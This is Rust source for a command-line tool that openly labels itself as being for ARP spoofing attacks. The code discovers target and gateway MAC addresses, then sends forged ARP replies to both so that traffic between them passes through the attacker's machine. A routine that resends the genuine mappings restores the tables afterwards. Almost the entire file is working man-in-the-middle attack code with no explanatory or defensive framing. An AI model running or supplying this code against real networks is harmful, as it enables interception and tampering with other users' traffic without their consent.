arp-spoofer-cli 0.1.1

A command-line tool for ARP spoofing attacks.
use super::*;
use pnet::datalink::MacAddr;
use pnet::datalink::NetworkInterface;
use pnet::datalink::{self, Channel::Ethernet};
use pnet::packet::arp::{ArpHardwareTypes, ArpOperations, ArpPacket, MutableArpPacket};
use pnet::packet::ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket};
use pnet::packet::{MutablePacket, Packet};
use std::net::Ipv4Addr;
use std::thread;
use std::time::Duration;

#[derive(Debug, Clone)]
pub struct ArpSpoofer {
    pub target_ip: IpAddr,
    pub gateway_ip: IpAddr,
    pub target_mac: [u8; 6],
    pub gateway_mac: [u8; 6],
    pub self_ip: Ipv4Addr,
    pub self_mac: [u8; 6],
    pub interface: NetworkInterface,
}

impl ArpSpoofer {
    pub fn find_target_mac(&self) -> [u8; 6] {
        self.get_mac_from_ip(self.target_ip, &self.interface)
            .unwrap()
    }

    pub fn find_gateway_mac(&self) -> [u8; 6] {
        self.get_mac_from_ip(self.gateway_ip, &self.interface)
            .unwrap()
    }

    pub fn get_mac_from_ip(
        &self,
        target_ip: IpAddr,
        interface: &NetworkInterface,
    ) -> Option<[u8; 6]> {
        let source_mac = array_to_mac(self.self_mac);
        let source_ip = self.self_ip;

        // Create a datalink channel
        let (mut tx, mut rx) = match datalink::channel(interface, Default::default()) {
            Ok(Ethernet(tx, rx)) => (tx, rx),
            Ok(_) => panic!("Unhandled channel type"),
            Err(e) => panic!("Failed to create datalink channel: {}", e),
        };

        // Build ARP request
        let mut ethernet_buffer = [0u8; 42];
        {
            let mut eth_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap();
            eth_packet.set_destination(MacAddr::broadcast());
            eth_packet.set_source(source_mac);
            eth_packet.set_ethertype(EtherTypes::Arp);

            let mut arp_packet = MutableArpPacket::new(eth_packet.payload_mut()).unwrap();
            arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet);
            arp_packet.set_protocol_type(EtherTypes::Ipv4);
            arp_packet.set_hw_addr_len(6);
            arp_packet.set_proto_addr_len(4);
            arp_packet.set_operation(ArpOperations::Request);
            arp_packet.set_sender_hw_addr(source_mac);
            arp_packet.set_sender_proto_addr(source_ip);
            arp_packet.set_target_hw_addr(MacAddr::zero());
            arp_packet.set_target_proto_addr(match target_ip {
                IpAddr::V4(ipv4) => ipv4,
                _ => panic!("Target IP is not IPv4"),
            });
        }

        // Send the packet
        tx.send_to(&ethernet_buffer, Some(interface.clone()))
            .expect("Failed to send ARP request")
            .unwrap();

        // Wait for response
        let start = std::time::Instant::now();
        while start.elapsed() < Duration::from_secs(3) {
            match rx.next() {
                Ok(packet) => {
                    let eth_packet = EthernetPacket::new(packet).unwrap();
                    if eth_packet.get_ethertype() == EtherTypes::Arp
                        && let Some(arp_packet) = ArpPacket::new(eth_packet.payload())
                        && arp_packet.get_operation() == ArpOperations::Reply
                        && arp_packet.get_sender_proto_addr() == target_ip
                    {
                        let mac = arp_packet.get_sender_hw_addr();
                        return Some(mac_to_array(mac));
                    }
                }
                Err(_) => continue,
            }

            thread::sleep(Duration::from_millis(10));
        }

        None
    }
}

fn mac_to_array(mac: pnet::datalink::MacAddr) -> [u8; 6] {
    [mac.0, mac.1, mac.2, mac.3, mac.4, mac.5]
}

fn array_to_mac(arr: [u8; 6]) -> pnet::datalink::MacAddr {
    pnet::datalink::MacAddr::new(arr[0], arr[1], arr[2], arr[3], arr[4], arr[5])
}

impl ArpSpoofer {
    pub fn send_poisoned_req(&self) {
        let target_ip = match self.target_ip {
            IpAddr::V4(ipv4) => ipv4,
            _ => {
                eprintln!("[!] Target IP is not IPv4");
                return;
            }
        };
        let gateway_ip = match self.gateway_ip {
            IpAddr::V4(ipv4) => ipv4,
            _ => {
                eprintln!("[!] Gateway IP is not IPv4");
                return;
            }
        };

        let source_mac = array_to_mac(self.self_mac);
        let target_mac = array_to_mac(self.target_mac);
        let gateway_mac = array_to_mac(self.gateway_mac);

        // datalink channel
        let (mut tx, _) = match datalink::channel(&self.interface, Default::default()) {
            Ok(Ethernet(tx, rx)) => (tx, rx),
            Ok(_) => {
                eprintln!("[!] Unhandled channel type");
                return;
            }
            Err(e) => {
                eprintln!("[!] Failed to create datalink channel: {}", e);
                return;
            }
        };

        // ARP reply to target
        let mut ethernet_buffer = [0u8; 42];
        {
            let mut eth_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap();
            eth_packet.set_destination(target_mac);
            eth_packet.set_source(source_mac);
            eth_packet.set_ethertype(EtherTypes::Arp);

            let mut arp_packet = MutableArpPacket::new(eth_packet.payload_mut()).unwrap();
            arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet);
            arp_packet.set_protocol_type(EtherTypes::Ipv4);
            arp_packet.set_hw_addr_len(6);
            arp_packet.set_proto_addr_len(4);
            arp_packet.set_operation(ArpOperations::Reply);
            arp_packet.set_sender_hw_addr(source_mac);
            arp_packet.set_sender_proto_addr(gateway_ip);
            arp_packet.set_target_hw_addr(target_mac);
            arp_packet.set_target_proto_addr(target_ip);
        }

        tx.send_to(&ethernet_buffer, Some(self.interface.clone()))
            .expect("Failed to send ARP reply to target")
            .expect("Failed to send packet");

        // ARP reply to gateway
        let mut ethernet_buffer = [0u8; 42];
        {
            let mut eth_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap();
            eth_packet.set_destination(gateway_mac);
            eth_packet.set_source(source_mac);
            eth_packet.set_ethertype(EtherTypes::Arp);

            let mut arp_packet = MutableArpPacket::new(eth_packet.payload_mut()).unwrap();
            arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet);
            arp_packet.set_protocol_type(EtherTypes::Ipv4);
            arp_packet.set_hw_addr_len(6);
            arp_packet.set_proto_addr_len(4);
            arp_packet.set_operation(ArpOperations::Reply);
            arp_packet.set_sender_hw_addr(source_mac);
            arp_packet.set_sender_proto_addr(target_ip);
            arp_packet.set_target_hw_addr(gateway_mac);
            arp_packet.set_target_proto_addr(gateway_ip);
        }

        tx.send_to(&ethernet_buffer, Some(self.interface.clone()))
            .expect("Failed to send ARP reply to gateway")
            .expect("Failed to send packet");
    }

    pub fn restore_arp_tables(&self) {
        println!("[*] Restoring ARP tables (sending legitimate ARP packets)...");

        let target_ip = match self.target_ip {
            IpAddr::V4(ipv4) => ipv4,
            _ => panic!("Target IP is not IPv4"),
        };
        let gateway_ip = match self.gateway_ip {
            IpAddr::V4(ipv4) => ipv4,
            _ => panic!("Gateway IP is not IPv4"),
        };

        let target_mac = array_to_mac(self.target_mac);
        let gateway_mac = array_to_mac(self.gateway_mac);

        let (mut tx, _) = match datalink::channel(&self.interface, Default::default()) {
            Ok(Ethernet(tx, rx)) => (tx, rx),
            Ok(_) => panic!("Unhandled channel type"),
            Err(e) => panic!("Failed to create datalink channel: {}", e),
        };

        // Send restoration packets multiple times to ensure they're received
        for i in 0..5 {
            // Restore target's ARP cache (tell target the real gateway MAC)
            let mut ethernet_buffer = [0u8; 42];
            {
                let mut eth_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap();
                eth_packet.set_destination(target_mac);
                eth_packet.set_source(gateway_mac);
                eth_packet.set_ethertype(EtherTypes::Arp);

                let mut arp_packet = MutableArpPacket::new(eth_packet.payload_mut()).unwrap();
                arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet);
                arp_packet.set_protocol_type(EtherTypes::Ipv4);
                arp_packet.set_hw_addr_len(6);
                arp_packet.set_proto_addr_len(4);
                arp_packet.set_operation(ArpOperations::Reply);
                arp_packet.set_sender_hw_addr(gateway_mac);
                arp_packet.set_sender_proto_addr(gateway_ip);
                arp_packet.set_target_hw_addr(target_mac);
                arp_packet.set_target_proto_addr(target_ip);
            }

            tx.send_to(&ethernet_buffer, Some(self.interface.clone()))
                .expect("Failed to send restoration ARP reply")
                .unwrap();

            // tell gateway the real target MAC
            let mut ethernet_buffer = [0u8; 42];
            {
                let mut eth_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap();
                eth_packet.set_destination(gateway_mac);
                eth_packet.set_source(target_mac);
                eth_packet.set_ethertype(EtherTypes::Arp);

                let mut arp_packet = MutableArpPacket::new(eth_packet.payload_mut()).unwrap();
                arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet);
                arp_packet.set_protocol_type(EtherTypes::Ipv4);
                arp_packet.set_hw_addr_len(6);
                arp_packet.set_proto_addr_len(4);
                arp_packet.set_operation(ArpOperations::Reply);
                arp_packet.set_sender_hw_addr(target_mac);
                arp_packet.set_sender_proto_addr(target_ip);
                arp_packet.set_target_hw_addr(gateway_mac);
                arp_packet.set_target_proto_addr(gateway_ip);
            }

            tx.send_to(&ethernet_buffer, Some(self.interface.clone()))
                .expect("Failed to send restoration ARP reply")
                .unwrap();

            if i < 4 {
                thread::sleep(Duration::from_millis(100));
            }
        }

        println!("[+] Sent {} restoration packets", 5 * 2);
    }
}